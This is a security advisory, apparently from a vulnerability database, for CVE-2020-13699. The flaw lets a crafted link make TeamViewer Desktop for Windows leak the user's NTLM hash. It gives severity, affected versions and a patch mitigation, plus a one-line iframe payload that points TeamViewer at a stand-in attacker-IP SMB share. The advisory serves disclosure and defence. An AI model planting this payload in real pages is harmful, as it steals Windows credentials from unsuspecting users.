Risk | High |
Patch available | YES |
Number of vulnerabilities | 1 |
CVE-ID | CVE-2020-13699 |
CWE-ID | CWE-428 |
Exploitation vector | Network |
Public exploit | Public exploit code for vulnerability #1 is available. |
Vulnerable software Subscribe |
TeamViewer Client/Desktop applications / Other client software |
Vendor | TeamViewer |
Security Bulletin
This security bulletin contains one high risk vulnerability.
EUVDB-ID: #VU42044
Risk: High
CVSSv3.1: 7.5 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:F/RL:O/RC:C]
CVE-ID: CVE-2020-13699
CWE-ID:
CWE-428 - Unquoted Search Path or Element
Exploit availability: Yes
DescriptionThe vulnerability allows a remote attacker to gain access to sensitive information.
The vulnerability exists due to TeamViewer Desktop for Windows processes URI handlers in an insecure manner. A remote attacker can create a specially crafted link, trick the victim into clicking it and force the application to send an NTLM authentication request to a remote system.
Successful exploitation of the vulnerability may allow an attacker to obtain NTLM hash of the current Windows user, which may result in system compromise.
Exploitation example:
<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>Mitigation
Install updates from vendor's website.
Vulnerable software versionsTeamViewer: 8.0.226330 - 15.8.1
External linkshttp://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448
http://jeffs.sh/CVEs/CVE-2020-13699.txt
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, a fully functional exploit for this vulnerability is available.